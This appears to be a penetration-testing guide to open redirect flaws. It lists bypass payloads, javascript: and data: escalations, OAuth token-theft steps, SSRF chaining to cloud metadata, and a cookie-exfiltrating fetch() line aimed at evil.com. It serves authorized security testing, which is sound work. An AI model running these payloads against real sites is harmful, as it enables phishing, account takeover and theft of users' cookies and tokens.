| CWE | CWE-601 |
| WSTG | WSTG-CLNT-04 |
| MITRE ATT&CK | T1566.002 |
| CVSS Range | 3.1-6.1 |
| Tools | openredirex |
| Difficulty | basic |
Open Redirect
Open redirect vulnerabilities occur when an application incorporates user-controllable data into the target of a redirect without adequate validation. Exploitation enables credential theft via phishing, OAuth token hijacking, XSS escalation through javascript:/data: protocols, SSRF chaining when server-side fetchers follow redirects, security control bypass leveraging trusted-domain URL reputation, and SSO abuse through redirect chains in federated authentication flows.
Quick Reference
Common Redirect Parameters
Scan for these parameter names (case-insensitive) in GET, POST, cookies, and headers:
| Category | Parameters |
|---|---|
| URL/URI | url, uri, path, dest, destination |
| Redirect | redirect, redirect_uri, redirect_url, redirectUrl, redir |
| Return | next, nextUrl, return, returnUrl, return_to, returnTo |
| Navigation | goto, go, target, link, out, jump, to |
| Flow | continue, continueTo, forward, forwardTo, callback, fallback |
| Reference | ref, referer, reference, origin, checkout |
| Page | site, view, page, file, location, loc |
Also check:
- POST body parameters (same names as above)
- Cookie values that influence redirects
- Fragment identifiers (
#) for client-side redirects - Base64-encoded parameter values
- HTTP headers (
Referer,X-Original-URL,X-Forwarded-Host)
Basic Open Redirect
Map Baseline Behavior
Before attempting exploitation, establish how the application handles redirects:
-
Submit a legitimate internal redirect and observe the response:
/redirect?url=/dashboardExpected: 302 with
Location: /dashboard -
Submit a legitimate external redirect (if the app allows any):
/redirect?url=https://legitimate-partner.comExpected: 302 or blocked
-
Record response patterns:
- HTTP status codes used (301, 302, 303, 307, 308)
Locationheader format and normalization- Interstitial pages or delay warnings
- Error messages on blocked redirects
- JavaScript-based redirects (
window.location,meta refresh)
Test Initial Payloads
Test these basic payloads against every redirect parameter you find:
https://evil.com
http://evil.com
//evil.com
/\evil.com
evil.com
Positive indicators:
- 3xx response with
Locationheader pointing to your domain - JavaScript setting
window.locationto your domain <meta http-equiv="refresh">pointing to your domain
URL Parsing Bypass Techniques
Different URL parsers interpret ambiguous URLs differently. Exploit these inconsistencies to bypass validation.
Protocol-Relative URLs
Browsers resolve protocol-relative URLs using the current page protocol:
//evil.com
///evil.com
////evil.com
Backslash Confusion
Some servers normalize backslashes to forward slashes; some browsers interpret \/ as //:
/\evil.com
\evil.com
\/\/evil.com
//\evil.com
/\/\evil.com
URL Authority Confusion
Abuse the userinfo@host component of URLs:
https://trusted.com@evil.com
https://trusted.com:password@evil.com
https://evil.com#@trusted.com
https://evil.com?@trusted.com
https://evil.com\@trusted.com
https://evil.com%23trusted.com
https://evil.com%40trusted.com
The browser sends the request to the host after @, not before it.
IP Address Representations
Use alternate IP representations for your attacker server:
http://0x7f000001/ # Hex IP
http://2130706433/ # Decimal IP
http://017700000001/ # Octal IP
http://[::1]/ # IPv6
http://127.1/ # Abbreviated IP
Port Manipulation
https://trusted.com:443@evil.com:443
https://trusted.com:80.evil.com
Semicolon and Path Parameter Confusion
https://trusted.com/;@evil.com
https://trusted.com/legit/../../../evil.com
https://trusted.com#@evil.com
Bypass with Encoding
Single URL Encoding
%2f%2fevil.com # //evil.com
%2F%2Fevil.com # //evil.com (uppercase hex)
/%2fevil.com # //evil.com
//%61ttacker.com # //attacker.com ('a' encoded)
Double Encoding
When the application decodes once before validation but the server decodes again before use:
%252f%252fevil.com # Decodes to %2f%2f, then //
%25%32%66%25%32%66evil.com # Triple-layered encoding of //
%252e%252e%252f # ../
Whitespace and Control Character Injection
//%09/evil.com # Tab between slashes
//%0d/evil.com # Carriage return
https://evil.com%20%20%20.trusted.com
Null Byte Injection
Null bytes can terminate string processing in some parsers while being ignored by others:
https://trusted.com%00.evil.com
https://trusted.com%00@evil.com
Unicode Normalization
Unicode characters that normalize to ASCII equivalents can bypass string matching:
https://trusted%E3%80%82com # Unicode ideographic full stop (U+3002)
https://evil.com/%ef%bc%8f # Unicode fullwidth solidus (U+FF0F)
https://trusted%E3%80%82com@evil.com # Combined with authority confusion
CRLF Injection in Redirect
If the redirect value is placed directly into a Location header:
https://trusted.com%0d%0aLocation:%20https://evil.com
This can inject a second Location header or enable HTTP response splitting.
Exploit Protocol-Relative Redirects
Protocol-relative URLs (//evil.com) inherit the scheme of the current page. They bypass filters that check for http:// or https:// prefixes.
Test systematically:
//evil.com
///evil.com
////evil.com
https:evil.com
http:evil.com
https:/evil.com
http:/evil.com
Some parsers treat single-slash schemes (https:/evil.com) as relative paths; others resolve them as absolute URLs. Test both.
Escalate via JavaScript URIs
If the application uses the redirect value in a context where javascript: URIs execute (e.g., window.location, <a href>, <meta http-equiv="refresh">), you can escalate from open redirect to reflected XSS.
Basic JavaScript Protocol Payloads
javascript:alert(document.domain)
javascript:alert(document.cookie)
Encoded Variations
javascript:%61lert(1) # 'a' URL-encoded
javascript:alert%281%29 # Parentheses encoded
java%0ascript:alert(1) # Newline between 'java' and 'script'
java%09script:alert(1) # Tab character
java%0dscript:alert(1) # Carriage return
Comment Trick
The // in javascript:// is treated as a JS comment. Use URL-encoded newline to break out:
javascript://comment%0aalert(1)
javascript://comment%0dalert(1)
javascript://%0aalert(1)
Case Variations
JAVASCRIPT:alert(1)
JaVaScRiPt:alert(1)
jAvAsCrIpT:alert(1)
Data Protocol
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
data:text/html,<meta%20http-equiv="refresh"%20content="0;url=https://evil.com">
Other Protocols
Test whether the application blocks all dangerous schemes:
file:///etc/passwd
ftp://evil.com/
mailto:attacker@evil.com
tel:+1234567890
Impact: If javascript: or data: execution succeeds, reclassify the finding as reflected XSS (High/Critical), not merely open redirect.
Exploit OAuth/SSO Redirect Chains
Open redirects in OAuth and SSO flows are significantly higher severity because they enable token and authorization code theft.
OAuth redirect_uri Manipulation
Test these payloads against the redirect_uri parameter in OAuth authorization endpoints:
redirect_uri=https://evil.com
redirect_uri=https://evil.com/callback
redirect_uri=https://trusted.com@evil.com
redirect_uri=https://trusted.com.evil.com
redirect_uri=https://trusted.com%2eevil.com
redirect_uri=https://trusted.com/callback/../../../evil.com
If the provider allows wildcard subdomain matching (*.trusted.com):
redirect_uri=https://attacker.trusted.com/callback
redirect_uri=https://trusted.com.evil.com/callback
Full OAuth Token Theft Flow
- Identify the authorization endpoint and its
redirect_urivalidation - Find a
redirect_urivalue the authorization server accepts that redirects to your domain - Craft the authorization URL:
/oauth/authorize?client_id=APP_ID&redirect_uri=https://trusted.com.evil.com/steal&scope=read_profile%20read_email&state=random123 - Victim clicks link and authorizes. Authorization code is sent to your domain:
https://trusted.com.evil.com/steal?code=AUTH_CODE&state=random123 - Exchange the code for an access token:
POST /oauth/token
grant_type=authorization_code&code=AUTH_CODE&redirect_uri=https://trusted.com.evil.com/steal&client_id=APP_ID&client_secret=SECRET - Use the access token to access victim resources
Parameter Pollution in OAuth
redirect_uri=https://trusted.com&redirect_uri=https://evil.com
Some servers take the first value; others take the last.
SSO RelayState / return_to Abuse
SAML SSO and similar flows often have redirect parameters:
/saml/login?RelayState=https://evil.com
/auth/callback?return_to=https://evil.com
Test these the same way you test standard redirect parameters.
State Parameter Injection
state=legitimate_state%0d%0aLocation:%20https://evil.com
Abuse Login/Logout Flows
Authentication flows frequently use redirect parameters to return users to their original page after login or logout.
Login Return URL
/login?next=https://evil.com
/login?return_to=https://evil.com
/login?redirect=https://evil.com
After the user authenticates, the application redirects them to the attacker-controlled URL. This is especially dangerous because:
- The user just entered credentials, establishing trust
- Session cookies may be transmitted if the redirect is to a subdomain
- The post-login state may include tokens in URL fragments
Logout Redirect
/logout?redirect=https://evil.com
/logout?next=https://evil.com
The user's session is destroyed and they are sent to an attacker page that could present a fake re-login form.
POST-Based Redirects
Check login forms for hidden redirect fields:
<form action="/login" method="POST">
<input type="hidden" name="returnUrl" value="/dashboard">
</form>
Modify the hidden field value to an external URL and submit.
Cookie-Based Redirects
Some applications store the return URL in a cookie before redirecting to login. Set the cookie to your domain before initiating the login flow.
Chain with Other Vulnerabilities
Phishing Enhancement
https://bank.com/redirect?url=https://bank-secure.evil.com/login
The legitimate domain in the URL establishes trust. Email security filters whitelist the domain. The victim sees bank.com in the initial URL and proceeds. After redirect, the attacker page harvests credentials.
Evidence to collect:
- Screenshot showing legitimate domain in initial URL
- Proof that email filters pass the link
- Proof that the redirect completes without interstitial
Token Theft via OAuth
See the OAuth/SSO section above. When chained, open redirect severity escalates to Critical because it enables full account takeover without passwords.
SSRF via Server-Side Redirect Following
If the target application has a server-side URL fetch feature that follows redirects:
/api/preview?url=https://trusted-cdn.com/go?url=http://169.254.169.254/latest/meta-data/
Flow:
- Server fetches
trusted-cdn.com(passes allowlist) - Server follows the redirect to the cloud metadata endpoint
- Cloud credentials or internal data are returned
This chains open redirect into SSRF (High/Critical).
XSS Escalation
If javascript: or data: protocols are accepted, the open redirect becomes reflected XSS:
/redirect?next=javascript:fetch('https://evil.com/log?c='+document.cookie)
This enables cookie theft, session hijacking, keylogging, and DOM manipulation in the application context.
WAF/Filter Bypass
URL reputation systems whitelist legitimate domains. An open redirect on a trusted domain lets you bypass:
- Email spam filters
- Corporate proxy URL categorization
- Browser safe browsing warnings
- WAF rules that block known-malicious domains
Bypass Validation Filters
Subdomain Matching Bypass
When validation checks if the URL contains the trusted domain:
https://trusted.com.evil.com # Subdomain of attacker
https://trustedcom.evil.com # No dot separator
https://nottrusted.com # Different domain entirely
Suffix Matching Bypass
When validation checks if the URL ends with the trusted domain:
https://attackertrusted.com # Ends with trusted.com
https://evil.com/trusted.com # Trusted domain in path only
Regex Escape Failures
When validation uses regex without escaping the dot:
https://trustedXcom.evil.com # Dot not escaped in regex
https://trusted-com.evil.com # Hyphen instead of dot
Case Sensitivity Bypass
https://TRUSTED.COM@evil.com
https://TrUsTeD.cOm.evil.com
Parameter Pollution
/redirect?url=trusted.com&url=evil.com # Last value wins?
/redirect?url=trusted.com%26url=evil.com # Encoded ampersand
/redirect?url[]=trusted.com&url[]=evil.com # Array parameters
/redirect?url=trusted.com,evil.com # Comma-separated
JSON Injection
If the parameter value is parsed as JSON:
/redirect?config={"url":"https://evil.com"}
Analyze Validation Systematically
When encountering validation, systematically determine:
- What characters are filtered vs. allowed?
- Is validation applied on input or after decoding?
- Does the validation parser differ from the browser URL parser?
- Are there normalization differences between validator and redirector?
- Can encoding bypass the filter while preserving redirect behavior?
- Is there a character that terminates validation but is interpreted by the browser?
Write the PoC
Required Evidence
- HTTP transaction: Full request and response showing the redirect (use
curl -i) - Browser confirmation: Screenshot or recording of the browser following the redirect
- Reproduction command: A
curlone-liner that reproduces the issue - Payload list: All working payloads and all payloads that were blocked (shows validation analysis)
Testing Safety
- Use obviously test domains for PoC:
evil.example,attacker.test, or domains you control - Never redirect real users to malicious content
- For OAuth token theft PoCs, use your own test accounts
- Document the full redirect chain, not just the final destination
Common Rejection Reasons to Avoid
- Reporting same-origin redirects (e.g.,
/path) as open redirect -- external domain required - Not proving the redirect actually completes in a browser
- Missing HTTP transaction evidence
- Overstating severity without chain demonstration
- Submitting the same root cause from different parameters as separate findings
- Ignoring interstitial warning pages -- note them and demonstrate whether they can be bypassed
Tools
curl
# Check redirect without following
curl -i 'https://target.com/redirect?url=PAYLOAD'
# Follow redirects and show chain
curl -L -v 'https://target.com/redirect?url=PAYLOAD'
# POST-based redirect test
curl -i -X POST 'https://target.com/login' -d 'returnUrl=https://evil.com'
Browser DevTools
- Network tab: Preserve log enabled, inspect redirect chain and
Locationheaders - Console: Check for JavaScript-based redirects (
window.locationassignments) - Application tab: Inspect cookies that may store redirect destinations
Burp Suite
- Configure to not follow redirects automatically
- Use Intruder to fuzz redirect parameters with the payload lists above
- Check
Locationheader values in responses
Nuclei
Run redirect-specific templates:
nuclei -u https://target.com -t http/vulnerabilities/open-redirect/
OpenRedireX
Automated open redirect scanner for bulk parameter testing.
Generate Payload Variants
Systematically generate payload variants by combining:
- Base payloads:
https://evil.com,//evil.com,/\evil.com - Encoding layers: URL-encode once, twice, triple; mix encoded and plain characters
- Authority variations: Prepend
trusted.com@, append#trusted.com, embedtrusted.comin path - Protocol variations:
javascript:,data:,file:,ftp:with case permutations
Detect Client-Side Redirects
Do not limit testing to server-side 3xx redirects. Also check:
window.locationassignments in JavaScript<meta http-equiv="refresh">tagsdocument.locationmodifications- Fragment-based (
#) routing in SPAs
Prioritization
Test these first (highest real-world exploitability)
- Open redirect in OAuth redirect_uri -- EPSS is low for open redirects alone, but when chained with OAuth flows, it enables token theft. This is the highest-impact open redirect scenario and frequently exploited in bug bounty programs.
- Open redirect on login/logout flows -- Post-authentication redirects (
/login?next=,/logout?redirect=) are the most common vectors. They carry session context that makes phishing more effective. - Open redirect chained with SSRF -- Server-side fetchers that follow redirects can be exploited by redirecting to internal services. If the application has both SSRF and open redirect, chain them.
Test these if time permits (lower exploitability)
- javascript:/data: protocol injection in redirect parameters -- Escalates open redirect to XSS. Only works when the redirect value is placed in
hrefattributes orlocationassignments without protocol validation. - Header injection via CRLF in redirect parameters -- If the application sets
Locationheader from user input without sanitizing newlines, inject additional headers or response splitting. - Open redirect via meta refresh or JavaScript -- Client-side redirects in error pages or post-action pages. Lower impact since the redirect is visible to the user.
Skip if
- Application does not perform any redirects based on user-supplied parameters
- All redirects use a strict allowlist of internal paths (no external URLs accepted)
- Open redirect is the only finding with no chaining opportunity (standalone open redirect is typically Low severity)
Asset criticality
Prioritize by chaining potential: OAuth/SSO redirect parameters (token theft) > login/logout redirects (phishing with session context) > general navigation redirects (phishing only). Open redirect value increases dramatically when it can be chained with SSRF, OAuth token theft, or XSS escalation.